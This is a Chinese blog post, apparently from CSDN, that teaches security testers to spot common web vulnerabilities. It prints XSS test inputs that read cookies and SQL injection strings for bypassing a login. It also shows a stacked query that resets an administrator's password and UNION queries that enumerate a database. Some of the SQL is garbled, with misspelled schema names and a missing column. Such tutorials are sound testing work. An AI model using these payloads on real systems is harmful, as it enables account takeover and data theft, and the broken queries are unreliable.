web安全测试常见的几种漏洞

web安全性测试概述

利用安全性测试技术,找到潜在漏洞。

认证与授权类漏洞

认证:

每一个页面都要进行权限设置,通过session信息来判断。不允许有未经授权直接访问界面的存在,就是不允许存在通过绝对URL在不登陆的情况下来访问。

权限:

每个账户要有对应的权限操作,不可越权操。低权限用户可能通过sudo等命令或在脚本中通过手动su切换用户达到越权目的。

Session 与 Cookie伪造欺骗

避免保存敏感信息在COOKIE文件中,特别是一些敏感系统。
Set-cookie的值中有一个“path=”标记当前session作用域,
不同的应用系统要选择不同的作用域,否则多系统可以相互查看cookie信息

![不同的应用系统要选择不同的作用域,否则多系统可以相互查看cookie信息](https://img-blog.csdnimg.cn/20200404121040666.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1Rlc3RfU2ltb24=,size_16,color_FFFFFF,t_70

DDOS拒绝服务攻击

向服务器大量发送请求导致服务器拒绝服务
利用TCP建立连接的规则:
1)客户端模拟不存在的IP地址向服务器端发请求
2)服务器接收请求后返回给客户端时发送时找不到真实的IP地址继续查找直至等待超时显示给客户端
3)大量的不存在在ip请求长时间占据服务器资源,导致服务器无法处理正常的请求。

文件上传漏洞

上传一个可以执行的脚本,可执行文件的上传可以调用系统命令行对整个系统进行操作。比如一句话木马的上传就可以通过调用系统命令对整个服务器环境进行隐蔽操作。
规避方式:
1)文件长传时要通过二进制对文件类型进行判断,禁止一切可执行文件上传。
2)修改服务器核心参数禁止系统执行脚本命令。

XSS跨站攻击-跨站脚本攻击

可以利用该漏洞获取别的用户的sessionID,从而伪造请求。

如何写XSS脚本:

界面上可以输入文本的地方输入HTML的语言,比如输入<input type="button" value="点击" onclick="alert('how are you')" />看看界面是以文本的方式来储存代码还是直接显示执行后的样式,如果显示为执行后的样式说明存在跨站攻击漏洞。

跨站脚本执行后服务器端是无感知的,但是用户可能会误操作,用户点击都可以通过脚本来获取到当前操作用户的cookie信息,例如:<input type="button" value="点击" onclick="alert(document.cookies)" />获取cookie信息后通过技术手段,比如设置界面跳转将信息保存到另外一个界面或者直接将信息保存到当前界面某个角落。

SQL注入

sql注入是最常用的攻击方式,通过界面用户可以输入的地方构造输入sql语句达到攻击目的。
攻击的方式有获取服务器数据库的内容或者直接修改数据库内容。

登陆用户名密码时验证是否存在sql注入风险

1)输入用户名时我们可以构造sql语句,判断是否存在sql注入问题。
系统登陆的实现逻辑有

username
passwd
select * from user where username='$username' and passwd = '$passwd';

select username ,passwd from  user where username='$username';
if(count()==1)
	if(passwd=$passwd)
		login sucess

如果是第一种,这种安全系数最低,我们可以尝试在用户名输入框构造sql语句。
$username=x’or userid=1 #'输入框输入x’or userid=1 #'输入之后登陆查询的sql语句变成

select * from user where username='x'or userid=1 #'' and passwd = '$passwd';

利用sql语法中#注释掉后边的sql语句,密码不用输入点击登录查看提示信息是否正常。如提示信息异常则说明存在sql注入风险。

mention:一般前端代码会对用户名长度做限制,输入框输入长度会受限,这时我们通过前端协议来进行破解,如果服务器端的密码长度也没有受限就可以顺利进行sql注入。

键入登陆逻辑是

select username ,passwd from  user where username='$username';
if(count()==1)
	if(passwd=$passwd)
		login sucess

我们将用户名写成这个sql语句“ x’;update user set passwd=‘123456’ where userid=1 #’ ”
那么登陆逻辑变成

select username ,passwd from  user where username='x';update user set passwd='123456' where userid=1 #'';
if(count()==1)
	if(passwd=$passwd)
		login sucess

这个操作会将数据库中userid=1的用户密码改成123456;

这样我们不需要用户名和密码就可以直接登陆成功。前提是我们要猜测数据库的名字。
修改密码成功后,我们用123456也不一定能直接登陆,一般情况数据库保存的密码都是前端加密后的,不可能直接是123456.所以我们不能直接修改userID=1的用户密码为123456,而是要改成123456对应加密后的字符(MD5等加密算法)。改成加密后的字符后就可以用123456直接登陆。

利用URL登陆地址进行sql注入

主要是试探是否有sql注入的可能
select * from threat where tid = 23456
23456 order by 10
select * from threat where tid = 23456 order by 10 构造按照第十列排序的sql语句 确定表的字段数

23456 and 1=3
select * from threat where tid = 23456 and 1=3 构造逻辑不对的sql语句

23456’
select * from threat where tid = 23456’ 构造语法不正确的sql语句

构造发现问题时就可以进行sql注入攻击
有问题时可以使用union链接两个sql语句 已知表有5个字段
select * from threat where tid = 23456 and 1=3 union select 1,2,3,4,5
select * from threat where tid = 23456 and 1=3 union select 1,databases(),3,4,5 获取到数据库的名称

select * from threat where tid = 23456 and 1=3 union select 1,databases(),user(),4,5 获取到当前 数据库的用户名@主机名

select * from threat where tid = 23456 and 1=3 union select 1,databases(),user(),4,from information_shema_tables where table_schema=‘learn’ limit 1 获取到当前 数据库表名

select * from threat where tid = 23456 and 1=3 union select 1,databases(),user(),4,from information_shema_column where table_schema=‘learn’ limit 1

发布了20 篇原创文章 · 获赞 0 · 访问量 608

猜你喜欢

转载自blog.csdn.net/Test_Simon/article/details/105308058
今日推荐